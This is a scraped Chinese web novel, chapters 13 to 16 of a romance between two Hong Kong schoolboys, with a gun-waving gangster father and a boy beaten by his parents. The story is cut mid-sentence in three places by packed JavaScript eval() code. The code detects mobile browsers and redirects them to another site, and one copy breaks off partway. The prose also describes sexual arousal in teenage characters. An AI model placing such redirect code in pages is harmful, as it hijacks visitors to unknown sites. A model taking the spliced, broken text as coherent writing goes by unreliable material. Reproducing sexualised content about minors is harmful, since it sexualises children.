从那天知道江收和黎大福同班并且喜欢黎大福之后,江扩对这个中二病继妹的敌意明显增多了。晚上江收总是找机会想从江扩那儿了解更多黎大福的消息,而江扩每次都毫不留情地把她轰出去。 “干得好。”江扩轻轻一笑。 黎大福定住了,愣愣看着江扩嘴角还未消散的笑意。 “大哥,你能再笑一个给我看吗?”黎大福咽了一下口水。 江扩很听话地又勾起嘴角,几秒后又自然放下。 “再笑。”黎大福双眼紧盯江扩的嘴角,又道。 江扩开始不耐烦,勉强挤出个僵硬的微笑。 “再笑。”黎大福起劲了。 “有病?”江扩白了小夯货一眼。 “嗯嗯,我有病。”黎大福笑眯眯承认了。 餐台上面挂着的屏幕终于出现他俩的取餐码,江扩起身去端来一盘双人餐。 “大哥,这是你的。”黎大福把一个汉堡放在江扩面前。 两人静静在那个角落吃汉堡。吃了一半,江扩抬眸正好看见黎大福嘴巴鼓鼓的像条金鱼。 怎么能这么可爱...... 黎大福还在埋头苦吃,丝毫没有看见江扩目光炽热在盯着自己。 凝视片刻,江扩脑子一热,从餐盘捡起一根短短的薯条,沾好番茄酱伸到黎大福面前。 黎大福想都没想便张口去接,一口把江扩的两根手指含住。 两人都定住了。 江扩没有缩回手,正在观察黎大福怔住后的反应。黎大福垂眸对那两根温热的手指眨眨眼,脸色肉眼可见的涨成绯红。 此刻黎大福脑子拐不过弯,硬是保持同样的姿势跟江扩对峙了很久。 四周人群嘈杂,一个外国人经过的时候匆匆瞥了一眼,在对面的桌子坐下,还在好奇盯着两人。 黎大福目光跟那外国人撞上之后,才尴尬地把江扩的两根手指放开。 “怎么了?”江扩挑眉。 “没,没什么。”黎大福把头埋得很低,看不清脸上的表情。 江扩瞅了一眼黎大福的脸。黎大福看样子是害羞了,但单凭黎大福的表现,江扩还是不敢确定黎大福到底是不是喜欢男的。 不知道,也没敢问。 这顿麦当劳在俩人某种微妙的气氛下匆匆吃完。 “大哥,我回去了。”黎大福拿纸巾擦了擦嘴。 “不补习了?”江扩问。 “今天休息吧,刚考完试。”黎大福朝江扩笑了笑。 “好。”江扩应道。 在街头,黎大福笑眯眯跟江扩挥挥手,骑上自行车正要离开。 “大福!”江扩头脑一热,又突然叫住黎大福。 “啊?”黎大福回过头一脸茫然。 江扩顿了顿,抬手就给了黎大福一个飞吻。接着勾起嘴角邪魅一笑,那副样子别提有多贱。 黎大福双手一哆嗦,耳廓渐变成了淡红色。在江大哥迷死人的笑容下,黎大福猛踩自行车,头也不回地灰溜溜逃跑了。 江扩犯贱得逞,对着黎大福的背影偷笑。 回到江广荣那个老巢,里边出奇的安静。江广荣大概是做生意还没有回来。 难得有一个人的相处空间,江扩长舒一口气甩下书包整个人躺倒在沙发上,休息够了才回到那个狭窄的小房间。 过了晚饭时间,江广荣还没有回家。黑魔仙跟那个中二病女儿也没有过来,家里空荡荡的。 江扩把窗户的缝隙开到最大,躺在床上思考人生。说来也奇怪,跟小夯货分别还没多久,他竟然开始想念他来了。 自己到底是不是喜欢黎大福呢。 江扩思考半晌也得不出结论。转头去看时钟,已经十点半了。江扩羞耻的发现自己居然思念了黎大福将近三个钟。 最后江扩灵光一现,想起上次黎大福不小心借他的那张电影光碟。 既然自己怎么也琢磨不清楚,那就让那块光碟告诉他好了。如果对里面的剧情有反应,那大概率可以证明自己是弯的。 说做就做。江扩从床上一跃而起,跑出客厅偷偷摸摸从电视柜里取出一块颜色暧昧的光碟。打开封面后鬼鬼祟祟放进碟机,又鬼鬼祟祟地打开。 屏幕亮了,江扩有点心虚,张望整个客厅确认四下无人,才松了口气紧盯电视屏幕。 “黎耀辉,不如我哋由头来过。”何宝荣的台词。 接着又是一堆冗长的独白。 江扩等了又等。终于,那段激|情戏,它它它来了! 虽然早就知道会有这么一段炸裂的镜头,但重新这么一看,江扩还是难免又萌生了心理和生理上的双重悸动。而这次和前两次稍有不同,这次是独处,所以江扩更能真真实实感受到心里那股如火如荼的妖异欲望正在狠狠冲刷自己的理智。 忍了好久没忍住,江扩暗骂一声,猛地转头顺来一包茶几上的纸巾。 正准备对着刺|激的电影做点刺|激的事,门口的钥匙声不合时宜地响了,与此同时江扩双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721993|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颤抖,把那包纸巾远远扔在那边的单人沙发上。 江扩差点被这响声吓出心脏病,迅速拿来遥控把电视关了,取出碟机里的光碟胡乱塞进电视柜里。 被这么一吓 ,江扩什么狗屁欲望都没了。 钥匙声有点乱,而且钥匙插了很久都没成功。江扩皱眉,脑里开始闪过一堆大战江洋大盗的热血场面。 哪个贼想不开,敢来偷恶名昭著的大哥荣的房子? 门外那人继续对着钥匙孔一通乱捅,嘴上开始骂骂咧咧。发音模糊不清内容乱七八糟,像是喝了不少酒。 江扩抄起扫把,把破旧的扫把头扯掉,只剩一根木棍子。又攥紧木棍踮着脚尖走到门边。 外面的醉鬼终于成功把钥匙捅进钥匙孔,门把拧开了,趔趔趄趄进来一个人。 江扩正准备把木棍抡到那人额头上,那人便扑倒在地,在江扩警惕的目光下爬到沙发上面四仰八叉躺着。 这时江扩才看清楚那张脸,分明是大哥荣,而且醉得不轻。 “小扩,儿子,来给你阿爸捶下背。”江广荣口齿不清喊着。 “痴线。”江扩扔下木棍,把门关上后回了房间。 “哎呀!哎呀!”江广荣还在外面喊,“死了,我头晕了,睇唔清了!冚家铲!” 江扩捂紧一边耳朵,把补习班分的试卷掏出来做题。 外面又传来阵阵干呕声,时不时夹杂点白话粗口。 听到干呕声,江扩手中的笔顿了顿。最后决定行孝一次。 干呕声还没有停止。江扩放下笔推门出了客厅。 “杯呢?”江扩淡淡问道。 江广荣没有说话,抬起无力的手指了指饭桌。 江扩拖着不情愿的步伐走到饭桌,给江广荣倒了杯温水。江广荣接过水一通猛灌,大声咂巴几下。 “去睡觉。”江扩咬着牙说。 江广荣没有回答,水杯往茶几随意一放,又朝江扩竖了个大拇指。 “不睡随便你。”江扩冷哼一声,径直回了房间。 题做了一半,外边江广荣貌似醒了点酒坐起来了。一声打火机响。 江扩抿了抿嘴,继续沉浸在题海里。 这做题的兴致还没维持多久,又被门外的敲门声弄没了。 “做咩啊冚家铲!”江扩对着门大吼一声。 江广荣喝醉了酒,心里憋着一堆乱七八糟的胡话,又找不到倾诉对象。只能在江扩房间外面一通咣咣乱敲。 “收声啊冚家铲!”江扩扔下笔怒吼。 “开门啊冚家铲!”江广荣也在门外吼道。 江广荣的声音带着明显的戾气,江扩从他的声音不难听出这家伙噶了不少人。 现在大哥荣喝醉酒,也不知道会不会乱来。说不定自己一兴起连自己的儿子都敢杀。 而江扩还想活着离开这个鬼地方,犹豫片刻还是乖乖走去开门。 “干什么?”江扩故作镇定。 江广荣没有说话,用朦朦胧胧的双眼瞥了一下江扩的脸,自己走到床边一趴。 “别躺我床,脏。”江扩眉头紧锁一脸嫌弃。 江广荣翻来覆去找了个舒服的姿势躺着,酝酿片刻开始对江扩滔滔不绝。 江扩不想听一点,捂着耳朵坐在书桌旁背英语单词。 然而接下来江广荣提到的人和事,却不得不逼着江扩放下自己捂着耳朵的手。 14. 第 14 章 他居然讲起那个远在老家早逝的老婆,也就是江扩的亲妈。 “你知道我当时跟你妈是怎么认识的吗?”江广荣撑着床头用力坐起来。 “怎么认识的?”江扩微微挺直身子侧着脸,用余光扫了一眼江广荣。 “你妈当年中专刚毕业,就出来教小学三年级数学,”江广荣捂着额头回忆,“当时我不读书出来混,被你爷爷骂回去了,老老实实在小学饭堂当了三四年食堂师傅。” “然后呢?”江广荣的话把江扩拉回到五六岁前的记忆。 他对母亲的印象已经很模糊,包括五官。想起母亲时,脑海里母亲的轮廓也是在记忆碎片中胡乱拼凑成的。 他只记得母亲左边眉心有一条小小的缝痕,听说是小时候贪玩不小心磕到。 “你妈在食堂天天嚷着饭难吃,我还跟她吵了一架。” “后来有一天放学路上不小心碰上她被人抢东西,我揍了那人一顿帮你妈找回一条项链,还送她回家,”江广荣用满是酒气和烟味的嘴口齿不清讲述,“后来她就缠上我了。我本来不想理她,但是不知道为什么一来二去就喜欢上了,可能是你妈长得太靓女吧;后来就结婚了,还有了孩子。” 江扩眼神微微一亮。那孩子指的应该就是他自己。 “快生你的时候,香港有朋友叫我过来这边做生意,说能赚不少钱,”江广荣咧起嘴笑了几声,“我就跟过来了,结果没想到他说的生意是这种生意!做完第一单,就有第二单,第三单,我走了这条歪路,哪有脸再回去见你妈?” “我也不是没想过走正行,可是没有用!没有回头路的,沒有!” 江扩回头面无表情看了一眼模样狼狈的大哥荣。有那么一瞬间,他真的觉得他爸挺可怜的。 “江扩啊,你是不知道我有多爱你妈。”江广荣仰起头感慨一声。 “你不觉得很可笑吗?”江扩终于开口,挤出一个假笑,“嘴上说爱我妈,却出轨一个香港女人,还在我妈没死的时候就跟这个小三结婚,还生了个女儿!” “这就是你所说的爱是吗?”江扩手指紧紧握成拳头,厉声对他爸怒吼道,“你知道我妈一直在等你吗?你知道我妈过的是什么日子吗?!” 江广荣怔了几秒,单手捂着自己的脸痛哭。 江扩也跟一齐愣住了。他还是第一次从江广荣脸上看到这种无助又可怜的样子。 他能感觉到在此刻他对他爸的恨意降到史上最低点,但也只是此刻。第二天的太阳升起,江广荣又会变回那个目中无人让人恨之入骨的大哥荣。 江扩不愿再去看他爸痛哭的狼狈样子,转过身闷头做了几道英语题。 过了很久,江广荣哭声才渐渐止住。 “我有个问题。”江扩埋头做题,一边悠悠开口说道。 “咩啊?”江广荣晕乎乎坐到床边,摸出一根万宝路点燃。 “我如果以后交了个男朋友,你会怎么样?”江扩沉着声音问。 “简单,”江广荣阴险一笑,“我就把他噶了。” 江扩手一哆嗦,一不小心把水笔抛到台灯上。水笔啪的一声掉在桌上,又慢慢滚了回来。 “我会用这个杀他,”江广荣露出两排满是烟渍的黄牙,笑嘻嘻从裤袋里掏出一件东西对准江扩,“一个子儿就够了。” “有病吗?”江扩猛地回头,对江广荣手中握着的东西气得两排牙齿直颤,“别他妈用那东西对着我!” “你怕什么?这里面又没东西,”江广荣一脸自豪,抬手用袖口轻轻擦了几下那把玩意儿,“这玩意儿跟了我不少年,你是不知道我还在尖沙咀一带混的那会用这玩意儿......” “对你来说这是很值得炫耀的事是吧?大哥荣。”江扩一声冷笑。 江广荣愣住了,眼神迷茫盯着手中那把东西。 “滚出去,我不想看到你。”江扩又道。 江广荣收回那件东西,正要开口狡辩。江扩拍案而起,揪着江广荣的衣领,把还在犯迷糊的江广荣拖出房间,整个抡到地上。 “滚回去睡觉。”江扩抬下巴朝那边的房间示意。 “江扩你个冚家铲肯定未死过,我可是你爸,”江广荣撑着墙晃悠悠站起来,咬着牙说,“如果你不是我儿子,我保证你活不过三秒。” “滚!”江扩咆哮。 江广荣把右手比成手枪|模样,朝江扩开了一枪,终于拖着醉醺醺的步伐回了自己房间。 半晌,江广荣的房间终于传出震耳欲聋的呼噜声,时不时夹杂点梦呓。 江扩也复习累了,洗漱完早早躺下。不久也沉沉睡了过去。 梦境有点乱。 “大哥!”黎大福在梦里朝江扩招手。 “黎大福,我喜欢你。”江扩终于下定决心开口。 “黎大福,做我的男朋友吧。”江扩又说。 黎大福嘴唇翕动正要给江扩一个答复,那边就传来一声烟花般的枪响。 黎大福应声倒地死在江扩面前,瞳孔逐渐扩散。人生精彩落幕。 大哥荣握枪的那只手垂下,站在远处疯了一样放声大笑。 半夜江扩惊醒过来,睡衣被冷汗浸湿。下半夜直接睁眼直至天亮,脑里不断浮现的是那个黑漆漆的枪口。 啧啧啧,大哥荣所到之处,难免血流成河生灵涂炭。大哥荣不入法网天理难容。 凌晨时分,江扩终于下定决心。 将来,考警察学校,当一名香港皇家警察。他要亲手给他爸戴上手铐,送他坐监。 第二天醒来,江广荣丝毫不记得昨天晚上发生的事,看来昨晚是真的醉得不轻。 黎多财在酒吧混了一整夜,直到隔天傍晚才回家。 刚到门口,黎多财就听见家里闹成一团糟。东西破碎的声音,人的怒喝声以及各种不堪入目包含各种生|殖|器|官的粤语粗口。 黎多财深吸一口气,插|进钥匙开了门锁。 满地都是纸碎和掰折的水笔,黎雄拿着条长扫把,黎大福被追得无处可去,老鹰捉小鸡似的在茶几旁边躲躲藏藏。 黎雄一边追打黎大福,一边从嘴里爆出无数粗口,大部分是粤语,偶尔夹杂一点东北话。 郭霞只在旁边捂着耳朵发出海豚般的尖叫,声音堪比歌剧院美声女高音。 “爸你干什么?!”黎多财惊呼一声,把皮包甩在旁边鞋柜上直冲过去。 黎雄平常不会发这么大脾气,就算两姐弟惹到他俩生气了,也只是嚷嚷几句掀掀饭桌,很少抄扫把打人。 但每次打起人来,黎雄都非常有要把人当场打死的气势。 此刻黎大福脸上貌似已经挨了几拳,有几处淤青,嘴角轻微破皮,渗出点点血珠。 “姐你别管。”黎大福抬手轻轻擦了一下流血的嘴角。 “到底怎么回事?”黎多财质问。 “冚家铲的,你自己问他!”黎雄指着黎大福啐了一口。 “变态啊!变态啊!”郭霞在一旁捶胸顿足涕泪齐下。 “没你们变态,我只是喜欢男孩子,而你们只喜欢赚钱和赌钱,没人性的人渣。”黎大福捂着伤口冷笑。 “你看看他说的什么,你看看你看看啊!”郭霞又开始捶胸顿足,“养了十五六年,养出个同性恋!苦啊!” 黎多财猜到事情七七八八,转头去看黎大福。 这傻小子不会是脑子磕坏了跟爸妈出柜吧?! “怎么回事?”黎多财凝眉问黎大福。 黎大福抿了抿嘴没有回答。黎雄转身抓起一本厚厚的笔记本扔到黎多财脸上。 “你不会自己看吗?”黎雄吼道。 黎多财无奈,俯身捡起那本厚笔记。从第一页看起。 字迹清秀,记着一段段文章,有的是原创故事,有的好像是日记,还贴心地画上好几个插图。 那些原创的故事,有的轻松浪漫,有的大尺度,有的悲情;无一例外的就是这些都是写俩男的爱情故事。插图大部分都是俩Q版男的亲密互动,要么亲嘴,要么摸摸头,要么互相喂薯条,要么抱在一起贴贴。 翻到最后面,黎多财一眼就看到最后一篇文章两个男主角的名字,一个叫黎大福,一个叫江扩。文章内容几乎打满马赛克,插图少儿不宜。 黎多财嘴角抽搐一下,猛地合上笔记本。抬头跟黎大福四目相对,用眼神交流。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你看,你看这什么眼神啊,他可是你爸,你怎么能瞪他?没教养啊......”郭霞继续捶胸顿足。 “收声啊!”黎多财冲郭霞一怒吼。 黎多财的声音中气十足,郭霞被吓得倏地闭了嘴。 “我现在就放大福进来。”黎多财冷冷抛下一句,正要走过去给黎大福开门。 “你敢放他进来,我就把你俩都赶出去!”黎雄捡起一个水杯朝黎多财砸过去。 水杯偏了,只是擦过黎多财的左耳,在地上摔成碎渣。黎多财看都没看一眼,径直走到玄关开了门。 “弟弟,进来。”黎多财对蹲在墙边哭出大鼻涕泡的黎大福细声说。 “到时候发大财咱三~个~去美国就好,把这个变~态~留在香港自生自灭!”黎雄故意提高音量拖长声调,好让外面的黎大福听到。 黎大福感觉每次听见黎雄吹嘘自己的移|民计划,自己的怒火值都能瞬间到达上限。 “好!求之不得!”黎大福发出一声毛骨悚然的冷笑,撑着墙角站起来,脸上一道道泪痕逐渐干涸。 “你说什么?!”黎雄怒喝。 “记住你的话,到时候你们去做美国佬,别他妈把老子算上,老子就要留在香港,”黎大福咧起嘴角,“你们到时候就把我扔在香港吧,我可太乐意了。” 黎雄捂住胸口一下下捶着沙发扶手,仿佛下一秒就要心脏发作死掉。 “你再乱说!”黎多财喝道,“给我进来,回家!” “不回。”黎大福抬手轻轻碰了一下伤口,“姐,把笔记本还我,书包给我。” “你想干什么?”黎多财一脸警惕。 “我准备离家出走。”黎大福笑了几声,伤口还隐隐有些痛麻。 “好!好好好!”郭霞一听变态要离家出走,乐得在客厅直鼓掌,一边朝黎大福房间走去,“我看你能离家出走到哪儿!” 良久,郭霞给黎大福收拾好书包,整个甩到黎大福面前。 “让他滚!”黎雄吼道。 黎大福凝视那个书包片刻,慢吞吞背上。在黎多财惊愕的目光下步履轻快下了楼梯。 “弟弟,你要去哪里?”黎多财急问道。 黎大福吹了声口哨,头也不回地离开了。 不知道是不是错觉,黎多财发现最近黎大福越来越反骨了。大概是刚到叛逆期那会被父母收拾太厉害无处施展,现在叛逆性格又开始反噬卷土重来。 15. 第 15 章 黎大福走上街头,背着书包强装镇定在车站等车。 远处终于徐徐驶过来一辆绿色的叮叮车。 黎大福以为自己能控制好自己的情绪。直到坐上叮叮车,在车窗看到铜锣湾沿途的繁华街道和步履匆匆表情压抑的行人,再次感受到那种铺天盖地格格不入的孤独感,黎大福才咬着下唇嘤嘤哭出声来。 从鼻孔里钻出一个大鼻涕泡。 “小朋友你没事呱?”一个阿婆提着菜篮子坐到黎大福旁边。 “我没事,谢谢。”黎大福的鼻涕泡破了一个,朝阿婆笑了笑。 “被人欺负了,要回家告诉大人,”阿婆从菜篮里掏出一根胡萝卜,“这个给你。” 黎大福虽然完全搞不懂阿婆为什么要送他一根胡萝卜,但犹豫片刻还是伸手去接了。 “多谢。”黎大福把胡萝卜插|进右边的书包袋。 到下一个站,目送阿婆从前门下了车,黎大福深吸一口气,坐得更端正了。 他的目的地,是江大哥家。 大概也只有大哥家了吧。在香港这个地方,唯一能让黎大福有归属感的,就是江扩的所在地,不管那个所在地是在哪里。 黎大福趴在车窗边上,任由风吹着块面。阿婆走后,黎大福变回一个人孤零零坐着,泪腺又开始失|禁。 叮叮车价格真实惠,但速度也是真慢。黎大福从铜锣湾那个叮叮车站坐到学校附近,足足需要一个多钟头。 终于到站,黎大福轻轻揉了几下哭肿的双眼,一步步踩下楼梯。刷了八达通后下车。 自己那辆单车,正孤零零地在学校的车棚停着。学校保安靠在椅背上看翡翠台开奖,嘴里兴高采烈大声喊着开奖球的号码,仿佛下一个中几百万的就该是他了。 黎大福想起自己那对发钱寒的父母,以及两人天天挂在嘴旁的移|民美国,眼圈又有点热乎乎的。 奇怪,今天怎么那么容易哭呢。 在原地调整好情绪之后,黎大福才徐徐走过去车棚。骑上自己的单车,往江扩家的方向狂飙过去。 晚上黑魔仙跟中二病两个过来吃饭。江扩出了客厅,瞥见黑魔仙那两片紫色香肠嘴唇,霎时间又是胃口全无。 为了让自己能顺利吃下晚饭,江扩只好跑到楼下吃肠粉。 刚下了昏暗的楼梯,就瞥见远处有个人不要命似的飙着自行车,以神速朝这边冲过来。 黎大福眼尖,一下子就发现街头的江扩,却丝毫没有注意到他和江扩中间还隔着一条低矮的栏杆。 “大哥!!!!!!”那飙车族拖长声调,昂起脖子大吼。 江扩猛地瞪大双眼。 大哥?! 脑子还没拐过弯,那人已经一副不要命的样子冲到栏杆面前。 “喂!小心栏杆啊!”江扩汗颜。 这时黎大福才发现面前那道低矮不显眼的栏杆,可惜已经晚了。车离栏杆仅有两米之遥。 黎大福紧闭双眼,认命了。 车刹住是刹住了,但车轮一歪,直接卡在栏杆中间,黎大福整个人往前一飞。精彩了。 黎大福整个人的身躯往江扩身上扑过去,江扩下意识张开手臂。 胸脯与胸脯结结实实撞在一起,一声闷响。江扩干呕一声,紧接着双手搂住黎大福。 “干嘛来了?”江扩小声问。 黎大福没有答话,委屈巴巴地吸了几下鼻子。 “哭什么。”江扩无奈,搓了几下黎大福的背。 “大哥,我好害怕啊。”黎大福哽咽道。 “有什么好怕的,我不是接住你了?”江扩又搓了几下黎大福的背以表安慰。 “你以后都要这样接住我。”黎大福靠在江扩肩膀上闷声说道。 江扩搞不清楚明明只是单纯一次摔跤意外,怎么会突然莫名其妙煽情起来。 更不妙的是,自己身上某处好像有了异样变化。少年要发|情,拦都拦不住。 感动吗?不敢动。 “大哥,你......”黎大福不小心剐蹭几下。 “ 不许动。”江扩咬着牙说。 黎大福很听话地静静趴在江扩身上,两行热泪打湿了江扩的肩膀。 直到楼梯传来几声复杂的脚步声,江扩才下意识把黎大福推开。 “大哥,你......”黎大福正要开口,江扩又抬手捂住他的嘴。 “嘘,收声。”江扩闷声说道。 良久楼梯出来三个人,大哥荣,黑魔仙和中二病。 其中江广荣跟江收见了黎大福,双眼同时瞪大。 “黎大福!”江收兴奋起来。 江扩皱眉,下意识把黎大福拽到自己身后。 “小扩,你欺负你好朋友了?”江广荣对着黎大福红肿的眼睛咂舌。 江扩白了他爸一眼,转身对黎大福说,“别管他们,我们走。” “你这个儿子都讲礼貌咯。”黑魔仙点了根Kent牌香烟,阴阳怪气道。 “小三也有资格提礼貌。”江扩悠悠回怼。 黑魔仙脸色一变,两片嘴唇明显更紫了。 “怎么跟你妈说话的?”江广荣喝道。 “要我说多少遍?她不是我妈。”江扩对黑魔仙抛了个冷眼,转身把黎大福的车摆好。 俩人进了隔壁的小肠粉店,找了位子坐下。江扩趁黎大福不注意,悄悄扯了几下裤子。 与此同时江广荣几个上了车,已经开远。 “吃了吗?”江扩问。 黎大福摇头,紧接着瘪起小嘴,又趴到饭桌上哭得梨花带雨。 江扩叹了口气,转头跟老板点了两份肠粉。 “擦擦。”江扩扯了张纸巾递给黎大福。 黎大福接过纸巾,在白嫩的脸上一通乱擦。 江扩双手抱胸倚在旁边白墙上,耐心等黎大福情绪平稳。 “肠粉来啦!”老板端着两盘肠粉放到桌上。 “唔该(谢谢)。”江扩朝那老板点了点头。 黎大福肚子早就饿了,从旁边拿了双铁筷子,埋着头狼吞虎咽往嘴里扒肠粉,吃相一言难尽。 偏偏还不专心吃,眼泪跟关不住闸似的一颗颗往盘子里掉,给肠粉免费加了点盐。 “你到底哭什么?”江扩不耐烦,又抽了几张纸巾给黎大福。 “大哥,我离家出走了,”黎大福抬头一脸哭相,“从此以后我无家可归了。” “怎么离家出走了?”江扩愣了几秒。 “他们偷看我写的东西,然后就骂我是变态了,”黎大福说,“然后就把我赶出来,然后我就来找你了。” 连续几个然后打得江扩措手不及。江扩往嘴里嗦了一口肠粉,皱眉凝视黎大福的脸。 “写的什么东西?”江扩问。 黎大福不愿回答了,只是拼命摇头。嘴里衔着的肠粉跟着晃来晃去,汤汁滴了一桌。 “好好吃饭,吃完再说。”江扩啧了一声,又抽了张纸巾擦桌子。 黎大福止住哭泣,很听话地往嘴里塞东西。 两人心情都很一般,加上肚子太饿,不到十分钟就把肠粉干没。 “今晚不回家了吗?”江扩抬手轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721995|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻揉了几下黎大福的头。 “不回了,”黎大福愤懑捶了一下饭桌,“他们说我是变态,不要我了!” “你姐呢?”江扩问。 “还好,叫我回去,我不想回。”黎大福想起黎多财,目光闪过一丝温暖。 黎大福还是没敢提起到江扩家过夜,他怕江扩拒绝。毕竟大哥可是亲耳听到自己说喜欢男生的。 “没地方去的话,今晚住我家吧,”江扩说,“江广荣晚点会回来,你早点躲我房间里就好了。” 黎大福吃惊抬头跟江扩对视,又兴奋地眨了几下眼。 “不愿意?那你就去公园过夜吧。”江扩故作冷淡道。 “好吧,”黎大福委屈巴巴地说,“那我去公园过夜吧。” “有病?”江扩白了黎大福一眼,“油盐不进是吧?” 黎大福吸了吸鼻子,对江扩粲然一笑。 我靠......好,好可爱...... “上楼。”江扩偏过头咳了一声,把黎大福拽上昏暗的楼梯。 上了楼,江扩从衣柜里翻出一套地摊上淘来的跳楼吐血价睡衣和新内|裤,扔到黎大福身上。 “便宜的,凑合着穿。”江扩朝厕所方向抬了抬下巴,“趁江广荣还没回来,赶紧去洗澡。” “为什么要这么鬼鬼祟祟?”黎大福好奇问。 “快去。”江扩不耐烦道。 兴许是被江扩鬼鬼祟祟的行为影响到,黎大福抱着一团衣服撒腿就往厕所跑。 江扩盯了黎大福的背影有好一会,才坐到书桌旁埋头写功课。 厕所传来一阵水花声,与此同时还有几声哀嚎。 “好,好冷啊......”黎大福在里面大喊。 江扩放下笔,悄悄走到厕所旁边。 “你没开热水吗?”江扩敲了敲门。 “啊?”黎大福显然被突然出现的几声闷响下了一大跳,“我,我不知道怎么开啊!” “开门,我帮你开一下热水。”江扩尽量让自己的声音听起来人畜无害,毕竟他发誓自己真的只是想帮忙开一下热水。 “不,不行!”黎大福声音倒是开始慌张,“我,我,我没穿衣服。” “我不看你不就好了。”江扩不耐烦,又敲了几下厕所的门。 “等等!”黎大福颤着双手在水龙头一通乱转,“哎呀,好了,好了,有热水了!” 有个屁。 “真有了?”江扩皱眉。 “有了,”黎大福碰了碰水流,又假装猛地缩回,“哎呀,好烫!” 江扩这才放心,扯了扯裤子回了房间。 厕所的水声没了,黎大福终于洗完澡从厕所出来。 “阿嚏——”黎大福进了房间,冷不防打了个喷嚏。 “不是说有热水吗?”江扩无奈道。 “有啊。”黎大福答毕,又捂住嘴打了个喷嚏。 “你坐会,我去洗澡。”江扩没再追问,抱着一团衣服去了厕所。 黎大福松了口气,坐到书桌旁,拿出书包里的课本开始温书。 还好打了几个喷嚏后就没什么不良反应了,不然这会估计得感冒。 江扩检查水龙头片刻,发现根本没有用过热水的痕迹。这小夯货果然是在骗人。 不过见小夯货那么害羞,江扩便决定不揭发,给黎大福留点面子。 江扩洗澡挺快。黎大福刚复习完一门国文,江扩就熄了灯从厕所走出来。 快到十一点了,江广荣还没有回家。出边突然闪过一道巨雷,良久竟然下起倾盆大雨。 16. 第 16 章 “睡觉了。”江扩熄了台灯说。 “哦!”黎大福瞥了一眼床,“怎么睡?” “你左我右吧,”江扩说,“我喜欢对着窗户睡。” “好啊。”黎大福笑眯眯盖好被躺下,又倏地从床上爬起来摸了摸后面,“枕头呢?” 江扩犯难了。房间只有一个枕头,不知道江广荣那边有没有多余的。 犹豫片刻,江扩往江广荣房间走去。 江广荣床上没有多余的,倒是在衣柜里找到一个破旧的大枕头。 “用这个。”江扩把破枕头拿给黎大福。 黎大福接过枕头再次躺下。 江扩拎起黎大福的书包,放到椅子上和自己的书包叠在一起。这时才不小心瞥见黎大福书包一侧插着根胡萝卜。 江扩挑了挑眉,把胡萝卜拔出来。 “你带根胡萝卜干啥?”江扩拿胡萝卜朝黎大福晃了晃。 “啊,”黎大福冲胡萝卜眨眨眼,“是路上一个老婆婆给的。” 江扩瞅了黎大福一眼,把胡萝卜插回书包。接着从衣柜翻出一堆衣服,叠成一根长条挡在他和黎大福中间。 “大哥,这是干啥?”黎大福对着那根长条目瞪口呆。 “这样有保障。”江扩放心躺下了。 “大哥,你不会是怕我吧?”黎大福莫名有些委屈,“我是不会对你图谋不轨的。” “闭嘴,睡觉。”江扩翻过身背对黎大福。 他哪是怕黎大福对他图谋不轨啊......他只是怕自己控制不住,到时候图谋不轨的就该是他了。 “大哥,你觉得你的家在哪?”黎大福对着空荡荡的天花板,突然问江扩。 “揭阳,”江扩悠悠回答,“我从来没把这当成家。” “我也是, ”黎大福说, “我爸妈把我赶出来了,我没家了。” “明天必须给我回去。”江扩叹了口气。 “不回。他们都赶我出来了我还回去干嘛?”黎大福理直气壮道。 “那我问你,你不回去,接下来怎么办?”江扩重新翻回来对着黎大福,“你有经济基础吗?自己能生活吗?还要继续读书吗?你自己不会赚钱,不回家要跑到哪去?” 一连串一针见血的问题让黎大福措手不及,张了张嘴想反驳,却不知道怎么开口。 “但是我真的很讨厌他们。”黎大福对着天花板红了眼眶。 “如果你真的讨厌他们,想离开他们,”江扩很笃定地道,“你就应该先忍着,好好读书,考个好大学,等自己能自己赚钱了,想跑多远就能多远;而不是在自己还需要父母花钱供你上学的时候离开这个家。相信我,你离开家独自流浪是活不了多久的。” “我也想离开这,回揭阳那边去,但是目前是绝对不可能自己一个人回去的,”江扩说,“我目前唯一能做的就是先好好学习天天向上,等自己考上大学,成年了,才能完全掌控自己的人生。” “嗯。”黎大福抬手轻轻擦了一下眼角。 “听我的,明天回家,先跟他们道个歉,然后暂时回到以前正常的生活轨迹,读书,考试,考大学,”江扩语气柔软下来,“到时候我们一起努力,你想去哪我跟你一块去。” “你不回揭阳了吗?”黎大福哽咽道。 “先陪你去,再回家。”江扩说。 黎大福被江扩的言语感动到,对着江扩的侧脸开始小声抽泣。 “大哥,我真的好感动!”黎大福抹了一把眼泪。 “闭嘴,睡觉。”江扩开始犯困,意识有些迷糊。 外边的大雨还没有停,甚至朝着更大的趋势发展。 趁江扩闭眼,黎大福翻了个身去凝视江扩的侧脸。江扩脸部柔和的轮廓在窗外霓虹灯的辉映下一览无余,睫毛根根分明,鼻梁挺拔又弧度温和,就连上唇的唇珠都那样饱满性感。 愣愣看了很久,窗外突然闪过一道雷,紧接着一声轰隆的巨响。 黎大福心中一惊,扯开那条衣服扑过去紧紧搂住江扩的颈部,一只脚缠到肚皮上。 